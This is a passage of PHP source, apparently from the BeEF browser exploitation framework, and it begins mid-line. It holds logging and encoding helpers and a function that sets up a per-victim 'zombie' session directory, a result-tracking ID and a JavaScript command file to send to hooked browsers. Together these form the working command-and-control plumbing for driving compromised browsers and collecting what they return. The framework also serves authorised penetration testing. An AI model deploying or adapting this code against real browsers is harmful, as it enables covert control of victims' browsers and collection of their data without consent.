alert("' . $str . '")');
}
// ---[ GET_B64_FILE
// returns the contents of a file in base64
function get_b64_file($file) {
$raw = file_get_contents($file);
$result = base64_encode($raw);
return $result;
}
// --[ BEEF_ERROR
function beef_error() {
echo ERROR_GENERIC;
exit;
}
// --[ GET_LOG
// returns the log file
function get_log() {
$raw = file_get_contents(LOG_FILE);
$log_data = "";
$log_data = html_encode_all($raw);
$log_data = convert_10_BR($log_data);
return $log_data;
}
// --[ GET_LOG
// returns the log file
function get_summary_log() {
$raw = file_get_contents(SUMMARY_LOG_FILE);
return $raw;
}
function convert_10_BR($str) {
return preg_replace('/
/', "
", $str);
}
// --[ HTML_ENCODE_ALL
// html encodes all characters
function html_encode_all($str) {
$rtnstr = "";
$strlength = strlen($str);
for($i = 0; $i < $strlength; $i++){
$rtnstr .= "&#" . ord($str[$i]) . ";";
}
return $rtnstr;
}
// --[BEEF_LOG
// log an entry to the beef log
function beef_log($summary, $str) {
// below includes session info - for nat'ed browsers
$time_stamp = date("d/m/y H:i:s", time());
$zombie_id = md5(session_id());
// create full log
$log_entry = "[" . $time_stamp . " " . $_SERVER['REMOTE_ADDR'] . "] " . $str;
file_put_contents(LOG_FILE, $log_entry . "\n", FILE_APPEND);
//create summary log
if($summary != "") {
$time_stamp_link = "" ;
$time_stamp_link .= "[" . $time_stamp . " " . $_SERVER['REMOTE_ADDR'] . "]";
$safe_summary = html_encode_all($summary);
$safe_summary = convert_10_BR($safe_summary);
$log_entry = $time_stamp_link . "
" . $safe_summary;
file_start_put_contents(SUMMARY_LOG_FILE, $log_entry . "
");
}
}
function file_start_put_contents($file, $contents) {
$temp = tempnam(TMP_DIR, "delme");
touch($temp);
file_put_contents($temp, $contents, FILE_APPEND);
$raw = file_get_contents($file);
file_put_contents($temp, $raw, FILE_APPEND);
unlink($file);
copy($temp, $file);
unlink($temp);
}
if (!function_exists('file_put_contents')) {
define('FILE_APPEND', 1);
function file_put_contents($n, $d, $flag = false) {
$mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === false) {
return 0;
} else {
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
// --[ MODULE_CODE_AND_RESULT_SETUP
// this sets up session details for the return of the results and
// constructs the code
function module_code_and_result_setup($cmd_file) {
// construct file location strings
$zombie_hook_dir = ZOMBIE_TMP_DIR . session_id();
// create a directory for this zombie if it doens't exist
if(!file_exists($zombie_hook_dir)) {
mkdir($zombie_hook_dir);
}
$zombie_hook_cmd_file = $zombie_hook_dir . "/" . CMD_FILENAME;
$zombie_hook_res_file = $zombie_hook_dir . "/" . RES_FILENAME;
$zombie_hook_res_loc_file = $zombie_hook_dir . "/" . RES_LOC_FILENAME;
// set the location of the results file in the session
$result_id = md5(rand());
$_SESSION[$result_id] = $zombie_hook_res_file;
// determine where to put the results
if(file_exists($zombie_hook_res_loc_file)) {
$res_loc_arr = file($zombie_hook_res_loc_file);
$_SESSION[$result_id] = MODULE_TMP_DIR . $res_loc_arr[0];
$_SESSION['append'] = 1;
unlink($zombie_hook_res_loc_file);
} else {
$_SESSION[$result_id] = $zombie_hook_res_file;
$_SESSION['append'] = 0;
}
// get the javascript command file
$cmd_file_content = file_get_contents($cmd_file);
// return javascript string to set result_id
$js_result_id_code ="var result_id = '$result_id';\n";
return $js_result_id_code . $cmd_file_content;
}
?>